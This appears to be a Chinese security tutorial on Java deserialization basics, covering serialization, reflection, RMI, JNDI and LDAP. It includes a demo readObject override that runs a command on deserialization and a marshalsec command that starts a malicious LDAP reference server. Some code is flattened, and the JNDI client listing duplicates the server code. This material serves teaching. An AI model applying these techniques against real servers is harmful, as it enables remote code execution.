接下来执行序列化操作操作,将对象写入文件:
packagefanxuliehua;importjava.io.FileOutputStream;importjava.io.IOException;importjava.io.ObjectOutputStream;importjava.lang.reflect.Constructor;importjava.lang.reflect.Field;importjava.lang.reflect.Method;public classMain {public static voidmain(String [] args)
{
Employee e= newEmployee();
e.name= "小鬼";
e.address= "成都";
e.SSN= 2333;
e.number= 110;try{
FileOutputStream fileOut=
new FileOutputStream("D:\\/employee.ser");//序列化文件路径
ObjectOutputStream out = newObjectOutputStream(fileOut);
out.writeObject(e);//序列化写入对象
out.close();
fileOut.close();
}catch(IOException i)
{
i.printStackTrace();
}
}
}
然后我们去打开这个employee.ser文件看看
aced 0005是16进制流中java序列化对象的标志,通常会在TCP流量中出现,如果是base64传输java序列化对象的标志则是rO0AB开头(aced0005经过base64编码的结果)或者是YWNlZCA开头(fastjson的POC中就可以看见这种base64编码方式),如果是字节码数据,则数据有可能是sr java.xxx.xxx 的样子。
接下来恢复这个对象:
packagefanxuliehua;importjava.io.FileInputStream;importjava.io.IOException;importjava.io.ObjectInputStream;public classMain {public static voidmain(String [] args)
{
Employee e= null;try{
FileInputStream fileIn= new FileInputStream("D:\\/employee.ser");
ObjectInputStream in= newObjectInputStream(fileIn);
e= (Employee) in.readObject();//readObject是从文件中读取对象的方法
in.close();
fileIn.close();
}catch(IOException i)
{
i.printStackTrace();return;
}catch(ClassNotFoundException c)
{
c.printStackTrace();return;
}
System.out.println("Deserialized Employee...");
System.out.println("Name: " +e.name);
System.out.println("Address: " +e.address);
System.out.println("SSN: " +e.SSN);
System.out.println("Number: " +e.number);
}
}
可以看见对象被成功恢复了,而且transitent关键字标记的属性并没有被序列化写入。
那么反序列化漏洞是如何产生的呢?
在java的反序列化机制中,会调用被反序列化的对象的readObject方法,当readObject方法写法存在风险的时候就会产生漏洞。除了readObject()方法可以读取被序列化的对象以外,还有readUnshared()方法可以读取对象,不过readUnshared()方法是不共享的,不允许后续的readObject和readUnshared方法调用这次反序列化得到的对象,因此使用情况比readObject方法少很多。
修改一下Employee对象的readObject方法代码,被重写的readObject()方法会被优先调用。
packagefanxuliehua;importjava.io.IOException;public class Employee implements java.io.Serializable{//所有java可序列化对象都必须直接或间接实现Serializable接口
publicString name;publicString address;public transient int SSN;//transient关键字代表该属性不需要被序列化,不会被写进二进制文件中
public intnumber;public voidmailCheck()
{
System.out.println("Mailing a check to " + name + " " +address);
}public void readObject(java.io.ObjectInputStream in) throws ClassNotFoundException, IOException {//重写Serializable接口的readObject方法
in.defaultReadObject();
Runtime.getRuntime().exec("calc.exe");//执行命令
}
}
将Employee序列化过后再执行反序列化操作
可以看见,反序列化的流程是正常执行的,命令也正常执行了。不过这只是java反序列化漏洞的一个demo,正常情况下,没有人会这样写代码。
Java反射机制基础:
讲真正的反序列化漏洞之前,再简单讲一下java的反射机制,这个机制很重要,是绝大部分java大型框架的核心,比如spring,strust2,hibernate,mybatis等。咱们简单了解一下反射机制。
反射 (Reflection) 是 Java 的特征之一,它允许运行中的 Java 程序获取自身的信息,并且可以操作类或对象的内部属性。通过反射,我们可以直接创建对象,即使这个对象的类型在编译期是未知的。
packagefanxuliehua;importjava.lang.reflect.Constructor;importjava.lang.reflect.Field;importjava.lang.reflect.Method;public classMain {public static void main(String[] args) throwsException{//最常见的加载数据库连接驱动
Class.forName("com.mysql.cj.jdbc.Driver");//通过反射创建对象
Class> cls=String.class;
Object str=cls.newInstance();//通过反射获取一个带String参数的构造器
Class> cls2=String.class;
Constructor> con=cls2.getConstructor(String.class);
Object str2=con.newInstance("123");//获取一个类的所有方法
Method[] methods=cls2.getMethods();
Method method=cls2.getMethod("toString");//获取特定的方法//获取所有成员变量
Field[] fields=cls2.getFields();//调用toString方法
Object obj2=method.invoke(str2, newObject[]{});
System.out.println(obj2);
}
}
java反射机制非常强大,这里只是简单介绍一下,方便后续阅读POC,有兴趣的可以看看网上的详解。
Java远程基础:
除了上面的java序列化基础知识和java反射机制基础知识以外,我们还需要学习一下java远程调用机制的基础知识。
Java RMI:
java远程方法调用(Remote Method Invocation),一种用于实现远程过程调用(RPC)的java API,能直接传输序列化后的java对象。java RMI的目的就是要使运行在不同jvm中的对象之间的调用更加方便,客户机上运行的程序可以调用远程服务器上的对象。直接看demo。
先定义一个远程接口
packagermitest;importjava.rmi.Remote;//定义一个远程接口
public interface IHello extendsRemote{/** 在java中,只要继承了Remote接口,即可成为存在于服务器端的远程对象,
* 供客户端访问并提供一定服务,任何远程对象都必须直接或间接实现这个接口
* 并且只有在继承了Remote接口的接口中定义的方法才可以被远程调用*/
public String sayHello(String name) throwsjava.rmi.RemoteException;public String showInfo() throwsjava.rmi.RemoteException;
}
定义一个远程接口的实现类,用于创建对象并传输。
packagermitest;importjava.rmi.RemoteException;importjava.rmi.server.UnicastRemoteObject;/** 远程对象必须继承UnicastRemoteObject类*/
public class HelloImpl extends UnicastRemoteObject implementsIHello{privateString info;protected HelloImpl(String msg) throwsRemoteException{this.info=msg;
System.out.println("初始化远程类");
}private static final long serialVersionUID=4077329331699640331L;public String sayHello(String name) throwsRemoteException{return "Hello "+name;
}public String showInfo() throwsRemoteException{returninfo;
}
}
编写服务端程序,绑定远程对象提供访问端口
packagermitest;importjava.rmi.registry.LocateRegistry;importjava.util.Properties;importjavax.naming.Context;importjavax.naming.InitialContext;/** 注册远程对象,向客户端提供远程对象服务
* 远程对象是在远程服务器上注册的,客户端无法明确地知道远程服务器上的对象名称
* 但是将远程对象注册到RMI service之后,客户端就可以访问到远程对象了*/
public classHelloServer {public static voidmain(String[] args) {try{
IHello hello=new HelloImpl("我是远程对象一号");
LocateRegistry.createRegistry(1099);//RMI服务默认情况下会使用1099//将hello对象绑定到Registry服务的URL上
java.rmi.Naming.rebind("rmi://localhost:1099/hello", hello);
System.out.println("RMI is ready");
}catch(Exception e){
e.printStackTrace();
}
}
}
编写客户端程序,请求远程对象
packagermitest;importjava.rmi.Naming;importjava.util.Hashtable;importjava.util.Properties;importjavax.naming.Context;importjavax.naming.InitialContext;importjavax.naming.NamingException;importfastjsontest.User;//客户端向服务端请求远程对象服务
public classRMIClient {public static void main(String[] agrs) {try{//请求RMI Service上的远程对象
IHello hello=(IHello) Naming.lookup("rmi://localhost:1099/hello");
System.out.println(hello.sayHello("小鬼"));//调用远程对象的方法
System.out.println(hello.showInfo());
}catch(Exception e) {
e.printStackTrace();
}
}
}
在运行服务端程序后,再运行客户端程序向服务端请求远程对象。我们可以直接看见运行结果,成功调用了远程对象的方法。RMI有很多实现方式,这里也不详细介绍了,只需要知道在RMI的帮助下,能够实现跨jvm调用远程对象就行了。
JNDI:
Java 命名与目录接口(Java Naming and Directory Interface)是J2EE(java web规范)中重要的规范之一。为开发人员提供了查找和访问各种命名和目录服务的通用、统一的接口。其实就相当于一个表或者索引,将名称和对象联系在了一起,并且可以通过指定的名称找到相对应的对象。
JNDI和RMI常常集成到一起,用上面的例子,修改一下服务端和客户端代码,集成JNDI。
packagermitest;importjava.rmi.registry.LocateRegistry;importjava.util.Properties;importjavax.naming.Context;importjavax.naming.InitialContext;//RMI+JDNI服务端代码
public classHelloServer {public static voidmain(String[] args) {try{//创建远程对象
IHello hello=new HelloImpl("我是远程对象二号");//注册RMI服务端口
LocateRegistry.createRegistry(1099);//设置JNDI属性
Properties properties=newProperties();
properties.setProperty(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.rmi.registry.RegistryContextFactory");//设置RMI服务访问地址
properties.setProperty(Context.PROVIDER_URL, "rmi://localhost:1099");//根据已设置的JNDI属性创建上下文
InitialContext ctx = newInitialContext(properties);//将对象与命名绑定
ctx.bind("hello", hello);
System.out.println("Server is allready");
}catch(Exception e){
e.printStackTrace();
}
}
}
客户端调用JNDI上下文,使用lookup函数直接查询与命名对应的远程对象
packagermitest;importjava.rmi.registry.LocateRegistry;importjava.util.Properties;importjavax.naming.Context;importjavax.naming.InitialContext;//RMI+JDNI服务端代码
public classHelloServer {public static voidmain(String[] args) {try{//创建远程对象
IHello hello=new HelloImpl("我是远程对象二号");//注册RMI服务端口
LocateRegistry.createRegistry(1099);//设置JNDI属性
Properties properties=newProperties();
properties.setProperty(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.rmi.registry.RegistryContextFactory");//设置RMI服务访问地址
properties.setProperty(Context.PROVIDER_URL, "rmi://localhost:1099");//根据已设置的JNDI属性创建上下文
InitialContext ctx = newInitialContext(properties);//将对象与命名绑定
ctx.bind("hello", hello);
System.out.println("Server is allready");
}catch(Exception e){
e.printStackTrace();
}
}
}
JNDI也有很多实现方式,我们只是简单介绍了一下JNDI是什么作用,方便后续理解。
LDAP:
LDAP全称为轻型目录访问协议(lightweight dirctory access protocol),在作用上跟RMI服务器类似,都是为了绑定资源和目录并且向客户端提供访问接口。
测试过程中为了方便我们可以直接使用marshalsec简单创建一个LDAP服务器,来为易受攻击的JNDI的lookup方法提供一个绝对路径的LDAP url;
将Poc.class放在本地8080端口的网站根目录下,再利用marshalsec转发,创建一个LDAP服务器
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8080/#Poc"
marshalsec默认开启端口为1389,因此我们提供的ldap url应该是ldap://127.0.0.1:1389/Poc。
以上的基础内容是为了方便后续理解Java安全问题,并没有深入研究这些协议,如果有兴趣的话可以再深入研究一下Java远程协议簇。